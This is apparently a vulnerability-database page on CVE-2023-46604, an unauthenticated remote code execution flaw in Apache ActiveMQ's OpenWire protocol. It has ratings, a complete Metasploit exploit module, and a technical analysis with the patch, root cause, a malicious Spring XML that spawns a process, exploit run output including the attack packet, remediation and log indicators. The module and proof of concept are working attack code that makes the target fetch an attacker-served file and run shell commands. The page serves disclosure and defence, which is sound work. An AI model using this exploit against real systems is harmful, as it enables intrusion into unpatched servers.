Attacker Value
High
(4 users assessed)
Exploitability
Very High
(4 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
10

CVE-2023-46604

Disclosure Date: October 27, 2023
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated
Validated
Validated
Validated
Initial Access
Techniques
Validation
Validated

Description

Apache ActiveMQ is vulnerable to Remote Code Execution.The vulnerability may allow a remote attacker with network access to a broker to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath. 

Users are recommended to upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3, which fixes this issue.

Add Assessment

3
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Based upon analyzing the public exploit and the root cause of the vulnerability, I have rated the exploitability as very high as this vuln is unauthenticated and is trivial to exploit with the public exploit. The attacker value is high as this service is used in enterprise environments, Shadowserver reports over 3000 vulnerable instances online as of Oct 30, 2023

1
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

CISA KEV Listed as of 11/02/2023

0
Ratings
Technical Analysis

More about:
Understanding deserialization
Learn

Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache
          ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to
          5.16.6, and all versions before 5.15.16.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'X1r0z', # Original technical analysis & exploit
          'sfewer-r7', # MSF exploit & Rapid7 analysis
          'nu11secur1ty', # automated EXPLOIT-developer for MetaSploit m0r3: https://github.com/nu11secur1ty/metasploit-framework-nu11secur1ty/tree/main/automation
        ],
        'References' => [
          ['CVE', '2023-46604'],
          ['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'],
          ['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'],
          ['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'],
          ['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt']
        ],
        'DisclosureDate' => '2023-10-27',
        'Privileged' => false,
        'Platform' => %w[win linux unix],
        'Arch' => [ARCH_CMD],
        # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the
        # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will
        # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive.
        'Stance' => Stance::Aggressive,
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win'
            }
          ],
          [
            'Linux',
            {
              'Platform' => 'linux'
            }
          ],
          [
            'Unix',
            {
              'Platform' => 'unix'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          # By default ActiveMQ listens for OpenWire requests on TCP port 61616.
          'RPORT' => 61616,
          # The maximum time in seconds to wait for a session.
          'WfsDelay' => 30
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    connect

    res = sock.get_once

    disconnect

    return CheckCode::Unknown unless res

    len, _, magic = res.unpack('NCZ*')

    return CheckCode::Unknown unless res.length == len + 4

    return CheckCode::Unknown unless magic == 'ActiveMQ'

    return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/

    version = Rex::Version.new(::Regexp.last_match(1))

    ranges = [
      ['5.18.0', '5.18.2'],
      ['5.17.0', '5.17.5'],
      ['5.16.0', '5.16.6'],
      ['0.0.0', '5.15.15']
    ]

    ranges.each do |min, max|
      if version.between?(Rex::Version.new(min), Rex::Version.new(max))
        return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}")
      end
    end

    Exploit::CheckCode::Safe("Apache ActiveMQ #{version}")
  end

  def exploit
    # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag.
    if payload.encoded.include? ']]>'
      fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>')
    end

    start_service

    connect

    # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To
    # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we
    # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to
    # run an attacker supplied command line via java.lang.ProcessBuilder.start.
    clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext'

    # 31 is the EXCEPTION_RESPONSE data type.
    data = [31].pack('C')
    # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id.
    data << [0].pack('N')
    # and a 1 byte boolean for response required.
    data << [0].pack('C')
    # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID.
    data << [0].pack('N')
    # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall.
    data << [1].pack('C')
    # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string.
    data << [1].pack('C')
    # First 2 bytes are the length.
    data << [clazz.length].pack('n')
    # Then the string data. This is the class name to instantiate.
    data << clazz
    # Same again for the method string. This is the single string parameter used during class instantiation.
    data << [1].pack('C')
    data << [get_uri.length].pack('n')
    data << get_uri

    sock.puts([data.length].pack('N') + data)

    retry_until_truthy(timeout: datastore['WfsDelay']) do
      !handler_enabled? || session_created?
    end

    handler
  ensure
    cleanup
  end

  def on_request_uri(cli, request)
    if request.uri != get_resource
      super
    end

    case target['Platform']
    when 'win'
      shell = 'cmd.exe'
      flag = '/c'
    when 'linux', 'unix'
      shell = '/bin/sh'
      flag = '-c'
    end

    xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
  <constructor-arg>
    <list>
      <value>#{shell}</value>
      <value>#{flag}</value>
      <value><![CDATA[#{payload.encoded}]]></value>
    </list>
  </constructor-arg>
</bean>
</beans>)

    send_response(cli, xml, {
      'Content-Type' => 'application/xml',
      'Connection' => 'close',
      'Pragma' => 'no-cache'
    })

    print_status('Sent ClassPathXmlApplicationContext configuration file.')
  end

end

Details:

href

Full unlocked video:
Exploit demo, automated by @nu11secur1ty

BR @nu11secur1ty

CVSS V3 Severity and Metrics
Base Score:
None
Impact Score:
Unknown
Exploitability Score:
Unknown
Vector:
Unknown
Attack Vector (AV):
Unknown
Attack Complexity (AC):
Unknown
Privileges Required (PR):
Unknown
User Interaction (UI):
Unknown
Scope (S):
Unknown
Confidentiality (C):
Unknown
Integrity (I):
Unknown
Availability (A):
Unknown

General Information

Vendors

  • Apache Software Foundation

Products

  • Apache ActiveMQ,
  • Apache ActiveMQ Legacy OpenWire Module
Technical Analysis

Update Nov 2, 2023: Added reference to Rapid7 ETR blog in the timeline.

Overview

Apache ActiveMQ is a message broker service, designed to act as a communication bridge between disparate services. Developed in Java, it can broker multiple protocol formats, such as AMQP, STOMP, MQTT and OpenWire. CVE-2023-46604 is a remote unauthenticated deserialization vulnerability in the OpenWire transport connector provided by ActiveMQ. By default the OpenWire transport connector listens for TCP connections on port 61616 and is enabled by default. Successful exploitation allows an attacker to execute arbitrary code with the same privileges of the ActiveMQ server.

The timeline of events for CVE-2023-46604 are as follows.

  • October 24, 2023 – The Apache ActiveMQ team opens Jira issue AMQ-9370 to track the development of a patch for CVE-2023-46604.

  • October 24, 2023 – A patch is committed to resolve the issue.

  • October 25, 2023 – A detailed technical analysis is posted by researcher X1r0z.

  • October 27, 2023 – CVE-2023-46604 is published.

  • October 27, 2023 – A proof of concept exploit is published by researcher X1r0z.

  • October 27, 2023 – Rapid7 observed suspected exploitation of CVE-2023-46604 in the wild.

The Shadowserver project has identified 7,249 instances (as of October 30, 2023) of ActiveMQ OpenWire port 61616 listening on the internet, with 3,329 of these vulnerable to CVE-2023-46604.

The Vulnerability

Our analysis is based upon the research by X1r0z, and we targeted a vulnerable version of Active MQ 5.15.3 running on Windows.

By examining the patch we can see a new check OpenWireUtil.validateIsThrowable has been added. This check ensures when creating a new Throwable object instance, the class being instantiated is indeed derived from the Throwable class.

// activemq-client/src/main/java/org/apache/activemq/openwire/OpenWireUtil.java
package org.apache.activemq.openwire;

public class OpenWireUtil {

    /**
     * Verify that the provided class extends {@link Throwable} and throw an
     * {@link IllegalArgumentException} if it does not.
     *
     * @param clazz
     */
    public static void validateIsThrowable(Class<?> clazz) {
        if (!Throwable.class.isAssignableFrom(clazz)) { // <---
            throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
        }
    }
}

We can see how the new check validateIsThrowable is used during BaseDataStreamMarshaller.createThrowable, to ensure a provided className string is for a class that is throwable, before an instance of this class is instantiated with a single string parameter called message.

// activemq-client/src/main/java/org/apache/activemq/openwire/v12/BaseDataStreamMarshaller.java
    private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
            OpenWireUtil.validateIsThrowable(clazz); // <---
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
        } catch (IllegalArgumentException e) {
            return e;
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);
        }
    }

To understand why, prior to the patch, a call to createThrowable leads to a vulnerability, we can see in BaseDataStreamMarshaller.looseUnmarsalThrowable how two string values are unmarshalled into the clazz and message parameters that are passed to createThrowable. If an attacker can control these two values, an arbitrary class can be instantiated with an attacker controlled string parameter.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\BaseDataStreamMarshaller.class
public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {

    protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn) throws IOException {
        if (!dataIn.readBoolean()) {
            return null;
        } else {
            String clazz = this.looseUnmarshalString(dataIn);
            String message = this.looseUnmarshalString(dataIn);
            Throwable o = this.createThrowable(clazz, message); // <---

The method BaseDataStreamMarshaller.looseUnmarsalThrowable is called from ExceptionResponseMarshaller.looseUnmarshal which is responsible for unmarshalling an ExceptionResponse instance.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\ExceptionResponseMarshaller.class

public class ExceptionResponseMarshaller extends ResponseMarshaller {

    public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
        super.looseUnmarshal(wireFormat, o, dataIn);
        ExceptionResponse info = (ExceptionResponse)o;
        info.setException(this.looseUnmarsalThrowable(wireFormat, dataIn)); // <---
    }

We can see that looseUnmarshal is called during OpenWireFormat.doUnmarshal. A byte value is read from the incoming data stream, and this byte value determines the DataStreamMarshaller to use during unmarshalling.

public final class OpenWireFormat implements WireFormat {

    public Object doUnmarshal(DataInput dis) throws IOException {
        byte dataType = dis.readByte();
        if (dataType != 0) {
            DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255]; // <---
            if (dsm == null) {
                throw new IOException("Unknown data type: " + dataType);
            } else {
                Object data = dsm.createObject();
                if (this.tightEncodingEnabled) {
                    BooleanStream bs = new BooleanStream();
                    bs.unmarshal(dis);
                    dsm.tightUnmarshal(this, data, dis, bs);
                } else {
                    dsm.looseUnmarshal(this, data, dis); // <---
                }

                return data;
            }
        } else {
            return null;
        }
    }

We can note above there are two paths to unmarshalling, depending on tightEncodingEnabled. The encodings are referred to as either “tight” or “loose”. These are part of the OpenWire specification, and they dictate how encoding is performed. By default, “loose” encoding is used.

By inspecting the class ExceptionResponse we can see that a value of 31 corresponds to the data type for an ExceptionResponse which will be unmarshalled via ExceptionResponseMarshaller.

// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\command\ExceptionResponse.class

package org.apache.activemq.command;

public class ExceptionResponse extends Response {
    public static final byte DATA_STRUCTURE_TYPE = 31; // <---
    Throwable exception;

    public ExceptionResponse() {
    }

    public ExceptionResponse(Throwable e) {
        this.setException(e);
    }

    public byte getDataStructureType() {
        return 31;
    }

    public Throwable getException() {
        return this.exception;
    }

    public void setException(Throwable exception) {
        this.exception = exception;
    }

    public boolean isException() {
        return true;
    }
}

Therefore, an attacker who can connect to the OpenWire port 61616 can send an OpenWire packet with a data type of 31 (EXCEPTION_RESPONSE), to unmarshall an ExceptionResponse object instance. The attacker can supply both an arbitrary class name and an arbitrary string parameter to the BaseDataStreamMarshaller.createThrowable method during unmarshalling. This allows an arbitrary class to be instantiated with a single attacker controlled string parameter, as shown in the screenshot below.

hax0

Exploitation

To leverage the vulnerability and achieve remote code execution, an attacker can instantiate the class
org.springframework.context.support.ClassPathXmlApplicationContext. ClassPathXmlApplicationContext is part of the Spring framework and is available within ActiveMQ. This class allows configuration of a Spring application via an XML file. The location of this XML configuration file is provided as a single string parameter when creating a new instance of ClassPathXmlApplicationContext.

// \lib\optional\spring-context-4.3.9.RELEASE.jar!\org\springframework\context\support\ClassPathXmlApplicationContext.class

public class ClassPathXmlApplicationContext extends AbstractXmlApplicationContext {

    public ClassPathXmlApplicationContext(String configLocation) throws BeansException { // <---
        this(new String[]{configLocation}, true, (ApplicationContext)null);
    }

The location of an XML configuration file can be a remote URL served over HTTP, and the contents allow for arbitrary classes to be created, and arbitrary methods to be called with arbitrary parameters. For example, the following configuration file, when loaded by ClassPathXmlApplicationContext, will spawn an arbitrary process via java.lang.ProcessBuilder.start.

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>notepad.exe</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

By serving a malicious XML configuration file over HTTP, we can run the public exploit against a target as follows, and achieve unauthenticated RCE.

ActiveMQ-RCE-main>ruby -run -e httpd . -p 5555
[2023-11-01 11:38:49] INFO  WEBrick 1.7.0
[2023-11-01 11:38:49] INFO  ruby 3.1.3 (2022-11-24) [x64-mingw-ucrt]
[2023-11-01 11:38:49] INFO  WEBrick::HTTPServer#start: pid=2600 port=5555
[2023-11-01 11:38:49] INFO  To access this server, open this URL in a browser:
[2023-11-01 11:38:49] INFO      http://[::1]:5555
[2023-11-01 11:38:49] INFO      http://127.0.0.1:5555
192.168.86.50 - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458
- -> /poc.xml
192.168.86.50 - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458
- -> /poc.xml
ActiveMQ-RCE-main>ActiveMQ-RCE.exe -i 192.168.86.50 -u http://192.168.86.35:5555/poc.xml
     _        _   _           __  __  ___        ____   ____ _____
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|

[*] Target: 192.168.86.50:61616
[*] XML URL: http://192.168.86.35:5555/poc.xml

[*] Sending packet: 000000741f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010021687474703a2f2f3139322e3136382e38362e33353a353535352f706f632e786d6c

Finally, we can see the arbitrary command we specified in the configuration XML file has been executed on the target system.

hax1

Remediation

As per the vendor advisory, users of Apache ActiveMQ are advised to update to the latest version to successfully remediate this issue. The updated versions are:

  • 5.18.3
  • 5.17.6
  • 5.16.7
  • 5.15.16

IOCs

By default ActiveMQ does not log every request that is received, however some log information may be present in the log file <ACTIVEMQ_ROOT_FOLDER>\data\activemq.log. We observed that the public PoC left a single log entry in this file after successful exploitation:

2023-11-01 04:40:23,587 | WARN  | Transport Connection to: tcp://192.168.86.35:22658 failed: java.net.SocketException: An established connection was aborted by the software in your host machine | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///192.168.86.35:22658@61616

Of note is the attacker’s IP address is logged (192.168.86.35 in the example above) along with the target TCP port which is listening for OpenWire connections (61616 in the example above, which is the default OpenWire port number in ActiveMQ).

References